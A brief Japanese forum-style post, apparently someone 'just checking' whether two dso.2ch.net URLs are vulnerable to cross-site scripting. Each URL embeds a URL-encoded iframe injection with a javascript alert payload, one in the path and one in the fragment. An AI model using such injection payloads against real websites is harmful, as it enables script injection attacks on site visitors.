一応チェック......
http://dso.2ch.net/test/read.html/%22%3E%3CIFRAME%20SRC=javascript:alert%28%27kusomiso.com%27%29;%20width=0%20height=0%3E%3C/IFRAME%3E
http://dso.2ch.net/test/read.html#%22%3E%3CIFRAME%20SRC=javascript:alert%28%27kusomiso.com%27%29;%20width=0%20height=0%3E%3C/IFRAME%3E